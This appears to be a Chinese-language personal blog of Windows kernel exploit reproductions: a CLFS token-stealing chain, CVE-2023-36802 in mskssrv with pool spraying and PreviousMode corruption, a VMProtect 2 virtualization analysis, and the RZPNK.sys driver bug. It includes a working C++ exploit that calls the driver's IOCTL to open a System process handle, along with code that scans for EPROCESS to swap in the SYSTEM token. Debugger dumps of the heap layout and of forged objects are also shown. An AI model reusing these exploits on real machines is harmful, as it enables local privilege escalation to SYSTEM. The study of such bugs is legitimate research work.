可以看到原始的内核地址是16字节对齐的，这也是为什么我们的堆喷射要每隔10h字节射一次

我们从0x10000开始，每隔10h射一个0x5000000到qword内存中，范围是0x10000~0x1000000

由于篡改后的地址只有3字节，0x1000000完全可以覆盖这个地址的最大值，而这个地址又不太可能低于10000，所以这个范围就够用了

我们在exp代码中控制了内存地址0x5000000的值

之所以把18设置为ClfsEarlierLsn函数，是因为这个函数把rdx的值设置为了FFFFFFFF，而这个值正好可以作为用户模式的地址，这里有一点点rop的味道

我们在exp代码中，已经在FFFFFFFFh这个地址中保存了system进程的eprocess地址

需要注意的是system的eprocess是可以在用户模式下使用普通用户的权限查询到的

函数运行结束，rdx变成包含了system eprocess的地址

出来之后我们调用SeSetAccessStateGenericMapping函数

这个函数内容可以说是相当简单，就是把rdx的OWORD读出来写到poi(rcx+48)+8这个地址中

而rcx我们是可以控制的，+48的内容由堆喷控制

可以看到这里i从10008开始，每隔10h字节射一次v16a变量的值，在内存中的布局就会变成这个样子

0000000005000000 和ffffc006d09fe018会交替出现，保证rcx+48取值出来一定是ffffc006d09fe018

而ffffc006d09fe018是我们exp代码中使用_NtFsControlFile创建出来的内核buffer地址

SeSetAccessStateGenericMapping函数结束后，这块内核buffer的值如下

可以看到+8位置已经写入了system ep的地址

而在_NtFsControlFile函数伪造的内核buffer中，这个位置本身应该是指向用户控制的内核buffer的地址的，现在被替换为system ep的地址，所以我们就可以读取system ep地址所指向的内存了

在上面有一个节标题为CreatePipe() / NtFsControlFile()的内容的参考链接中我们提到过如何用这个东西任意读写内存

我们首先使用控制码0x11003C写入了内核内存

然后我们可以使用0x110038来读取这块内存

可以看到这里已经读取到了system ep的token

我们把这个token存入FFFFFFFF中，然后对堆喷射中的+8位置要喷的值进行修改，改为exp进程的ep的token偏移-8

后面我们利用SeSetAccessStateGenericMapping函数的xmmword ptr [rax+8], xmm0指令写入exp的ep的+4b0的10h字节

而MmReserved即使被修改为不正常的值也不会影响程序正常运行

0xffffffff地址中的值改为前面获取到的system ep的token

exp进程的token被替换成system进程的token

此时我们再来创建一个cmd进程，他应该是ntsystem权限

exp

效果

总结

其实就是1C0040880 的边界被绕过了

比较牛逼的地方是1C000669E，不知道原作者是怎么发现可以在这里修改这个地方的值的

这个利用链确实屌

VMP 2分析

2025-05-27T00:00:00+02:00

references：

https://back.engineering/blog/2021/05/18#PUSHVSPQ

术语：

VIP，virtual instruction pointer相当于x86的ip寄存器，指向下一条指令的地址，vmp2使用rsi来保存vip的值，rsi就是vip
VSP，virtual stack pointer，相当于x86的rsp，vmp 2使用rbp存储VSP，rbp相当于vsp
VM handler，用于执行虚拟指令的routine，例如VADD64，会将栈上的两个值加起来并将结果和RFLAGS寄存器一起保存在栈上
Virtual Instruction，也被称作虚拟字节码，是由虚拟机负责解释并执行的字节序列，每一个虚拟指令至少包含一个操作数，第一个操作数包含指令的opcode
virtual opcode，所有虚拟指令的第一个操作数，这个是vm handler的index，vmp2的opcode总是1字节
IMM/immeidate value，编码在虚拟指令中的一个值，就是一个等待被操作的数，比如将这个值转移到栈中或者到一个寄存器中，虚拟指令比如LREG，SREG和LCONST都拥有立即数在里面
Transformations，这个术语指的是解密虚拟指令中的操作数或者vm handler的index的操作，包括add\sub\inc\dec\not\neg\shl\shr\ror\rol\BSWAP，操作size为1、2、4、8字节，可以拥有立即数，比如xor rax,0x12345，或者add rax,0x12345

VMP 2有两种混淆手段，一种是大量无用的jcc跳转指令，另一种是大量无用的影响EFLAGS寄存器的指令，比如无意义的cmp或者bit test指令，这两种方式分别被称作opaque branching和dead store

本地寄存器

non-volatile register

rsi总是VIP，操作数从rsi寄存器存储的地址中取出

rsi的初始值由vm_entry初始化

rbp总是VSP，rbp中存储的是本地栈内存地址，

虚拟化

下图是一个简单的斐波那契数列函数虚拟化前后的样子

这里使用的虚拟化工具是tigress

测试源代码

虚拟化命令：

export TIGRESS_HOME=/home/xxx/Music/tigress/3.1
export PATH="$PATH:/home/xxx/Music/tigress/3.1"
tigress --Environment=x86_64:Linux:Gcc:4.6 --Transform=Virtualize --Functions=fib,fac --out=vtest1.c test1.c

在main函数中有个这玩意儿

megaInit函数，不过在虚拟化选项中这个函数并没有用到，可能会在别的选项中用到，这个函数里面的内容是空的

vm entry

然后我们查看汇编代码可以找到虚拟栈

上图中rbp-120h被存储到了rbp-128h中，那么rbp-128h很可能就是VSP

而且观察这个局部变量的交叉引用和使用方式，看起来也很像是VSP

另外我们在上图中也可以看到VIP每次都会先自增1，然后再把自增后的结果存回去

loc_401720:
mov     rax, [rbp+VIP]
add     rax, 1
mov     [rbp+VIP], rax
mov     rax, [rbp+VIP]
mov     eax, [rax]; 自增1取值，就是取出来opcode之后的操作数
movsxd  rdx, eax
mov     rax, [rbp+VSP]  ; 取出VSP
add     rax, 8          ; VSP+=8
lea     rcx, [rbp+var_20]
add     rdx, rcx; 操作数加上一个局部变量地址放入到栈中
mov     [rax], rdx      ; VSP压栈
mov     rax, [rbp+VSP]
add     rax, 8
mov     [rbp+VSP], rax  ; 存储修改后的VSP
mov     rax, [rbp+VIP]
add     rax, 4
mov     [rbp+VIP], rax; VIP+4然后存回去，一共是+5，opcode+操作数

可以注意到的是VSP的增长方向和x86的rsp是反过来的

vm handler

他这个handler的dispatch也是非常的简单粗暴，直接就是一堆cmp跳转

每个opcode对应一个handler，但是这个opcode是随机的并不是固定的，在另一个虚拟化过后的函数fib中，opcode就又都不一样了

CVE-2023-36802 mskssrv type confusion复现

2025-05-26T00:00:00+02:00

references:

https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service

约定，本文所有数字均为16进制

镜像下载网站

镜像地址

sha256: 7f6538f0eb33c30f0a5cbbf2f39973d4c8dea0d64f69bd18e406012f17a8234f

他这个东西的漏洞位置在FSRendezvousServer::FindObject函数中，他这个函数不管你传进来的是个什么对象，最后都会搜索成功，但是后面的代码他又假定这个对象是FSStreamReg对象，然后就导致了漏洞的出现

可以看到这个findobject函数里面，不管你0xc字段的dword是不是1，他都会进行搜索

patch之后的代码如果发现你不是指定类型，直接就返回错误了

这里甚至连函数名都改了

mskssrv里面有两种对象，一个是context一个是stream，两种对象的size不一样，前者是0x78，后者是0x1b8

我跟原始作者的环境好像不太一样，我的stream是0x1b8，他的比我多了0x20字节

我们要控制多出来的这0x140字节的内存

这里是内存分配的代码，0x200代表的是flag——POOL_RAISE_IF_ALLOCATION_FAILURE

并没有明确指定是pagedpool还是non-pagedpool，不指定就默认为non-pagedpool

pool spray 堆喷射

reference:

https://www.crowdstrike.com/blog/sheep-year-kernel-heap-fengshui-spraying-big-kids-pool/

使用如下内核代码可以dump所有的big page

b4 gPoolBigPageTable;
b4 gPoolBigPageTableSize;
// ed gPoolBigPageTable poi(nt!PoolBigPageTable)
// ed gPoolBigPageTableSize poi(nt!PoolBigPageTableSize)
VOID BigPoolDump(int a) {

    if (a) {

        DbgBreakPoint();

        _POOL_TRACKER_BIG_PAGES* poolTrackerTbl = (_POOL_TRACKER_BIG_PAGES*)gPoolBigPageTable;
        b4 entryCnt = gPoolBigPageTableSize / sizeof(_POOL_TRACKER_BIG_PAGES);
        for (size_t i = 0; i < entryCnt; i++) {
            _POOL_TRACKER_BIG_PAGES curEntry = poolTrackerTbl[i];
            if (curEntry.Va != 1) {
                char* _ = (char*)&(curEntry.Key);
                DbgPrint("VA: 0x%p\nSize: 0x%x\nTag:%c%c%c%c\nFreed: %d\nPaged: %d\nCacheAligned: %d\n",
                    curEntry.Va&(~1), curEntry.NumberOfBytes, _[0], _[1], _[2], _[3],
                    curEntry.Va & 1, curEntry.PoolType & 1, (curEntry.PoolType & 4) == 4);

            }
        }
    }
}

我当时测试的时候这个tarcker表长度为0x1000

kd> ? poi(nt!PoolBigPageTableSize)
Evaluate expression: 65536 = 00010000

另外，这个东西也可以直接使用ntquerysysteminformation api来进行查询

代码

运行结果：

pool control

我我们可以在用户模式下产生一些内核对象，并且这种对象的某些字段是可以被我们控制的，并且这块内存还得是可以执行的

我们现在需要找到一个可以帮助我们实现上面这种效果的用户模式的api

只要我们新分配的内存大小超过一个page（4k），就会触发一个big pool allocation

实现方法如下：

创建一个命名管道，执行一个buffer>4KB的写入操作，只写入不读取，这个操作将会导致内核模块NPFS.sys驱动在non-paged pool中执行一个big pool allocation，在内核中分配一个对应大小的buffer

关于npfs的一些知识

写一个管道测试程序，可以得到如下断点

相关测试程序打包到了这个地方

hook handler代码（我们hook的是nt!ExAllocatePoolWithTag）

PVOID __fastcall KHHookHandler_0x2aa010(PVOID a1, PVOID a2, PVOID a3, PVOID a4, PVOID a5) {
    PBYTE _rsp = a5;
    if (a4 == NULL)return 0;

    b4 _esp = a4;
    if (PsGetCurrentProcessId() == gid) {
        b4 tag = d(_esp + 4 + 4 + 4);
        if (tag == 0x7246704E) { // memory tag NpFr 
            DbgPrint("named pipe allocation\n");
            DbgBreakPoint();
        }
    }
    return NULL;
}

从这段代码可以看到，我们实际的userbuffer前面有0x1c字节是所谓的_NP_DATA_QUEUE_ENTRY

我们再用之前的程序枚举一下，看看能不能找到这块内存

找到了：

那么现在我们就已经对0x95CC3000这块内核内存拥有了控制的能力，我们可以通过检索tag来确定我们的内存

由于我们是一直驻留在内存里面的（没有客户端去读取这块buffer，那么这个buffer就会一直停留在内核中）

正常情况下的命名管道里面的数据都是读取完就释放掉了

上面截图中的abcdedfg....这些东西就是我们可以控制的内容

但是这块内存并不是可执行的

从win8开始，non-paged pool默认是non-executable

io ring

references：

https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

利用代码

利用代码分析

初始化context对象，FSInitializeContextRendezvous函数

通过deviceiocontrol和驱动进行交互，控制码0x2F0400

对应的处理代码在这个地方1C0008B93

这个驱动设备的iocontrol mj function是另外一个驱动，windows的ks.sys驱动

负责创建的mj 函数也是在这个驱动中，pnp设备驱动就是这个吊样

内存分配 lfh

https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap

这种小内存块的分配，通过hook exallocate函数是看不到的，这些是预先分配好的小内存块

named pipe 堆喷

https://github.com/vportal/HEVD

这里面有几张图很好的演示了这个利用过程

首先，小尺寸内存喷射，喷完之后内存布局如下

然后每隔4个句柄释放一个，释放之后的内存布局如下

之后，重新申请内存，由于lfh的特性，这些刚刚被释放的内存会再次分配给我们，当然这里的释放只是把这块内存标记为可以分配，并不会清空内存中的内容，所以你在内核调试器中看他的时候，这些被free的块很可能拥有和没有被free的块相同的内容

references：https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html

前面先分配内存再挖洞的操作，就是为了后面调用FSInitializeContextRendezvous函数的时候，分配出来的内存可以正好落到我们挖的洞里面，这样就可以使得这个函数新分配出来的对象被我们创造的内存布局所包围，我们可以在内核调试器中观察到这个现象

初始化函数对应的地址是1C0008B70

这里会分配一个context对象

最后会在1C0008CC8处存到FsContext2中

这块内存的size是78

我们前面喷的管道的buffer的size是0n128，也就是80字节，加上pool_header 10字节，一共是90字节，那我们来看一下新分配的这块内存的前90和后90字节的情况

0: kd> dqs ffff98831d6028c0-10-90-90 l2*9+2*9+2*9+2*9
ffff9883`1d602790  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602798  528eeccb`662ca5a6
ffff9883`1d6027a0  00000000`00000000
ffff9883`1d6027a8  00000000`00000000
ffff9883`1d6027b0  00000000`00000000
ffff9883`1d6027b8  00000000`00000000
ffff9883`1d6027c0  00000000`00000000
ffff9883`1d6027c8  00000000`00000000
ffff9883`1d6027d0  00000000`00000000
ffff9883`1d6027d8  00000000`00000000
ffff9883`1d6027e0  00000000`00000000
ffff9883`1d6027e8  00000000`00000000
ffff9883`1d6027f0  00000000`00000000
ffff9883`1d6027f8  ffffaa8e`549342c9     
ffff9883`1d602800  00000000`00000000
ffff9883`1d602808  00000000`00000000
ffff9883`1d602810  00000000`00000000
ffff9883`1d602818  00000000`00000000
ffff9883`1d602820  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602828  528eeccb`662caa16
ffff9883`1d602830  00000000`00000000
ffff9883`1d602838  00000000`00000000
ffff9883`1d602840  00000000`00000000
ffff9883`1d602848  00000000`00000000
ffff9883`1d602850  00000000`00000000
ffff9883`1d602858  00000000`00000000
ffff9883`1d602860  00000000`00000000
ffff9883`1d602868  00000000`00000000
ffff9883`1d602870  00000000`00000000
ffff9883`1d602878  00000000`00000000
ffff9883`1d602880  00000000`00000000
ffff9883`1d602888  ffffaa8e`549342c9
ffff9883`1d602890  00000000`00000000
ffff9883`1d602898  00000000`00000000
ffff9883`1d6028a0  00000000`00000000
ffff9883`1d6028a8  00000000`00000000
ffff9883`1d6028b0  67657243`02090000   // 新分配的context对象
ffff9883`1d6028b8  528eeccb`662caa86
ffff9883`1d6028c0  fffff800`1b883198 MSKSSRV!FSContextReg::`vftable'
ffff9883`1d6028c8  00000000`00000000
ffff9883`1d6028d0  00000000`00000000
ffff9883`1d6028d8  00000000`00000001
ffff9883`1d6028e0  ffff9883`1d6028c0
ffff9883`1d6028e8  00000000`00000001
ffff9883`1d6028f0  00000078`00000001
ffff9883`1d6028f8  ffff9883`145c2080
ffff9883`1d602900  00000000`00000000
ffff9883`1d602908  00000000`00000000
ffff9883`1d602910  00000000`00000001
ffff9883`1d602918  00000000`000007e4
ffff9883`1d602920  00000013`6fe7474d
ffff9883`1d602928  00000000`00000000
ffff9883`1d602930  00000000`00000000
ffff9883`1d602938  00000000`00000000
ffff9883`1d602940  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602948  528eeccb`662cab76
ffff9883`1d602950  00000000`00000000
ffff9883`1d602958  00000000`00000000
ffff9883`1d602960  00000000`00000000
ffff9883`1d602968  00000000`00000000
ffff9883`1d602970  00000000`00000000
ffff9883`1d602978  00000000`00000000
ffff9883`1d602980  00000000`00000000
ffff9883`1d602988  00000000`00000000
ffff9883`1d602990  00000000`00000000
ffff9883`1d602998  00000000`00000000
ffff9883`1d6029a0  00000000`00000000
ffff9883`1d6029a8  ffffaa8e`549342c9
ffff9883`1d6029b0  00000000`00000000
ffff9883`1d6029b8  00000000`00000000
ffff9883`1d6029c0  00000000`00000000
ffff9883`1d6029c8  00000000`00000000

ffff98831d6028c0是context对象的地址，-10拿到pool header地址，我们可以看到其偏移为4的dword，即pool tag，是67657243，即'Creg'

从上面的结果可以看到，context对象前面有两个我们喷的buffer，tag是20206f49，即Io，然后后面也有一个我们喷的buffer，这个新分配的context对象已经彻底被我们包围了

触发漏洞

内存布局完成之后，会触发内核的FSRendezvousServer::PublishRx函数，该函数会调用FSRendezvousServer::FindObject函数

这个函数就是漏洞函数，他本来是应该去搜索stream对象的数组的，但是你即使给他一个context对象，他也能搜出来，而且返回之后他会把context对象当做stream对象来使用，而这两个对象的长度是不一样的，前面我们已经看到context对象的长度是78，而stream对象的长度从init函数1C0008DFF 可以看出来是1b8，比context对象长多了，所以后面肯定会访问到超出context对象合法内存地址的内存

FSRendezvousServer::FindObject 函数

我们稍微看一下这个函数的代码

首先检查对象类型，context的c偏移是1，这个在前面的context的初始化我们已经看到过了

而patch之后的代码会直接检查这个地方是不是2，2表示stream对象，如果不是直接返回0

检查之后，从this中的一个保存了所有对象的链表进行搜索，搜索到就返回true，这里可以看到他把两个对象类型都搜了一下，问题就出在这个地方，这个函数并不关心你要搜索的是什么类型，反正就两种类型都给你搜一下

严格来讲，其实问题不在这个函数，而是在caller，其实caller完全可以先自己判断对象类型，如果不是stream对象，就返回错误就行了

漏洞利用

下图中的a2+8对应的汇编代码是a2+20，a2其实就是inputbuffer，可以由我们随意控制，在代码中我们控制这个地方的dword为1

这里+178，此时需要算一下我们前面的内存布局，每一块内存是90字节，context对象从内存的10处开始，+80就是下一块内存的开始，即我们喷的buffer地址-10，再+90是下一块我们喷的buffer-10，178-80-90=68

略过pool header的10字节，就是我们的buffer的58偏移，我们在代码中控制了buffer的58（0n88）偏移

是blf文件在内核中的buffer的800+2c9偏移，前面在复现clfs漏洞的时候已经介绍过相关基础知识，这里不再赘述

后续代码的分析

最后我们到达unmappages函数，而且v8是完全受我们控制的内核地址

这个函数的最后一个地方有一个往v8的20偏移写入2的操作

这个东西可以结合io ring进行利用，但是google project zero介绍了另外一种通过clfs文件来重写当前进程previos mode的方法

使用clfs

伪造完clfs文件之后，调用createlogfile，该函数最终将会调用到ClfsBaseFilePersisted::CheckSecureAccess

这个函数会在这个地方尝试获取container context

container offset数组的偏移正是328

之后他会使用这里获取到的偏移来得到context context，然后从container context中获取到一个container对象并调用它位于虚函数表+8偏移的函数

本来这个地方应该是存了container context的偏移量1460

但是我们使用前面的漏洞利用FSFrameMdl::UnmapPages中的代码，将0xFFFFB7824D0362C9-2c9+391，即ffffb7824d036391的qword置为0

而这个操作将会导致1460的60被清零，最终container context的偏移就变成了1400，此时我们就可以理解exp代码中这个1400的意思了

这里就是exp代码伪造出来的container context的样子

ffffb7826cb25000是clfs在内核中的800偏移，+70再加container context的偏移1400得到CLFS_CONTAINER_CONTEXT结构体的地址，再加18并取值得到container对象地址0000000001000000 ，这是一个用户模式的地址，完全由我们控制，取值得到虚表地址，可以看到虚表的前两个成员函数被设置为PoFxProcessorNotification和IoSizeofWorkItem函数

另外，container对象的40和48偏移也被伪造了

分别为fakeScratch和fakeBitmapHeader，这两个东西的结构如下图所示

fakeScratch

2: kd> dqs 0000000`01000f00
00000000`01000f00  00000000`00000000
00000000`01000f08  00000000`00000000
00000000`01000f10  00000000`00000000
00000000`01000f18  00000000`00000000
00000000`01000f20  00000000`00000000
00000000`01000f28  00000000`00000000
00000000`01000f30  00000000`00000000
00000000`01000f38  00000000`00000000
00000000`01000f40  00000000`00000000
00000000`01000f48  00000000`00000000
00000000`01000f50  00000000`00000000
00000000`01000f58  00000000`00000000
00000000`01000f60  00000000`00000000
00000000`01000f68  fffff801`22d39510 nt!RtlClearBit

fakeBitmapHeader

2: kd>  dqs 00000000`01000400 l2
00000000`01000400  00000000`00000040
00000000`01000408  ffffa581`1b4412b2

fakeBitmapHeader的8偏移存的正是exp进程的previousmode字段的地址

2: kd> dt _kthread previousmode
ntdll!_KTHREAD
   +0x232 PreviousMode : Char
2: kd> .thread
Implicit thread is now ffffa581`1b441080
2: kd> db /c 1 ffffa581`1b441080+232 l1
ffffa581`1b4412b2  01  .

首先在ClfsBaseFilePersisted::CheckSecureAccess函数中，第一个成员函数会被调用

成功调用到我们伪造的函数中

稍微看一下PoFxProcessorNotification函数

那么最终就会调用到rtlcleabit函数中

nt!RtlClearBit:
fffff801`22d39510 488b4108        mov     rax,qword ptr [rcx+8]
fffff801`22d39514 0fb310          btr     dword ptr [rax],edx
fffff801`22d39517 c3              ret

rcx就是fakeBitmapHeader，他的8偏移是exp进程的previousmode字段的地址，第二条指令的意思是将edx指向的bit清0，而edx是0，那么previousmode的最低位的bit就被清0了，previousmode只有一字节，最低bit原来是1，表示user mode，现在变成0了，表示kernel mode，那么我们就可以直接进行内核内存的操作了

直接操作内核地址进行提权即可

对应poc

clfs的另一套利用方案

我这一套利用方案的思路就是通过unmappages函数中的下面这两条指令

来将正常的container context的对象的地址修改为一个可以确定的值

我们创建一个log文件，获取到clfs 800偏移的地址，然后给他添加一个container，默认情况下，container context的偏移是1460，那么我们就可以计算出container对象的地址，然后通过堆喷射结合上面那两条指令对container对象的地址进行操作，最终使得container对象的地址变成200000000，然后我们直接在exp中指定这个基地址进行内存的分配，构造container对象，然后关闭log文件句柄，触发ObfDereferenceObjectWithTag函数的调用，使用这个函数给previousmode减一即可

可以看到，函数运行完成后，previousmode从0变成1

下面是操作container对象地址的过程

对应poc

RZPNK.sys漏洞复现

2025-04-29T00:00:00+02:00

漏洞样本文件

参考

分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe或者rzdriverinstaller.exe

create dispatch:

DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1CC10;

sub_1CC10间接调用到函数sub_10C40，在该函数中检查进程名

满足这个条件后，随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095

然后我们通过IDA可以看到IoControl的派遣函数列表

DriverObject->MajorFunction[0xE] = (PDRIVER_DISPATCH)sub_12650

sub_12650函数会调用函数数组中的+14h，即sub_10B40函数

靠，之前分析错驱动了

zwopenprocess

前面的当我没写

真正的漏洞驱动文件是这个

使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数，获取任意进程的句柄

#include <windows.h>
#include <iostream>

int main() {
    printf("0x%x\n", GetCurrentProcessId());
    system("pause");
    // [Get Driver Handle]
    HANDLE hDevice = CreateFileA(
        "\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 1;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }

    // [Prepare buffer & Send IOCTL]

    // Input buffer (PID 4 + 0)
    unsigned char InBuffer[16] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = 0x4;    // PID 4 = System
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 0x0;    // 0x0

    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        1024,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);
        return 1;
    }

    // Ptr receiving output byte count
    DWORD BytesReturned = 0;

    // 0x22a050 - ZwOpenProcess
    BOOL CallResult = DeviceIoControl(
        hDevice,
        0x22a050,
        InBuffer,
        sizeof(InBuffer),
        OutBuffer,
        1024,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        VirtualFree(OutBuffer, 0, MEM_RELEASE);
        CloseHandle(hDevice);
        return 1;
    }

    // [Read out the result buffer]
    std::cout << "\n[>] Call result:\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>(OutBuffer)) << "\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer)) + 8)) << "\n";

    // Cleanup
    VirtualFree(OutBuffer, 0, MEM_RELEASE);
    CloseHandle(hDevice);

    return 0;
}

这内核代码写的是真傻逼

如何进一步利用这个漏洞

参考

源代码

另一个洞

这个驱动好像还有一个洞，在ZwMapViewOfSection函数上面，不过看这个洞之前，需要先看一下这篇文章

这篇文章中提到的漏洞驱动文件

如上图所示，可以直接使用控制码0xC3506104映射物理内存

要想利用这个来扫描内存中的EPROCESS结构体，需要先了解一些知识

参考

windows内核中的对象的内存布局

PoolHeader的结构

那么我们扫描到Eprocess的内存Tag：Proc之后，-4就可以得到EPROCESS所在内存的起始位置

跳过PoolHeader和Object_header就可以得到EPROCESS的地址

OBJECT_HEADER->Body就是EPROCESS的内容

那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该

kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x008 HandleCount      : 0n0
   +0x008 NextToFree       : (null) 
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xbc ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x4c 'L'
   +0x01b Flags            : 0x41 'A'
   +0x01b NewObject        : 0y1
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y1
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x273
   +0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
   +0x028 SecurityDescriptor : (null) 
   +0x030 Body             : _QUAD
kd> !object ffffe18d`8544c110 
Object: ffffe18d8544c110  Type: (ffffe18d78ae1140) File
    ObjectHeader: ffffe18d8544c0e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110 
nt!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe18d`798918f0 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe18d`798d35b0 _VPB
   +0x018 FsContext        : (null) 
   +0x020 FsContext2       : (null) 
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x44040
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\wshbth.dll"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
   +0x0d0 FileObjectExtension : (null)

从这张图中可以看到，实际的EPROCESS距离POOL_HEADER的差值是0x70，而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C

POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER，这个是可选的header，具体数量不确定，但是对于我们的EPROCESS对象，我们随便找一个进程看一下就可以确定一共有几个可选HEADER了，这个是由object_header的infomask决定的

0x88的话那就是两个可选header： OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO

我又随便找了几个进程，infomask的值都是0x88，虽然这个地方的值都是0x88，但是有的差值是0x70，有的是0x80

System进程直接没有可选header，infomask的值直接就是0，差值是0x40，那我们就先定位System

然后再定位一个cmd（差值0x80)，然后把system的token写入到cmd中

写入内存

前面我们提到可以使用iocode 0xC3506104来读取物理内存，当需要写入的时候我们需要使用另一个iocode 0xC350A108

从上图中可以看到是往映射出来的内存中写入数据

inBuffer的0x10保存原始内存起始地址，0xc保存size，0保存目的物理地址

thisifuckingshanchubiaozhi1kdekaishi1这个傻逼洞好像根本就没有办法利用，mmmapiospace总是崩溃，或者是返回0，根本就没办法用jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

thisifuckingshanchubiaozhi1kdekaishi1这个玩意儿根本就没有办法稳定利用，因为调用mmmapiospace之前需要先锁内存页jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

看下面

参考

不管怎么样，我把搜索EPROCESS的代码放在这里了：

#include <windows.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <iostream>
#include <unordered_map>
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b)            (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR 
DWORD64 q(PBYTE a1) { return *(DWORD64*)(a1); }
DWORD d(PBYTE a1) { return *(DWORD*)(a1); }
WORD w(PBYTE a1) { return *(WORD*)(a1); }
UCHAR b(PBYTE a1) { return *(PBYTE)(a1); }
b1* GMemBuffer;
void getHardwareMappings(std::unordered_map<uint64_t, uint64_t>& hardwareMappings)
{
    if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED)))
    {
        return;
    }

    if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)))
    {
        CoUninitialize();
        return;
    }

    IWbemLocator *pLoc = NULL;
    if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc)))
    {
        CoUninitialize();
        return;
    }

    IWbemServices *pSvc = NULL;
    if (FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc)))
    {
        pLoc->Release();
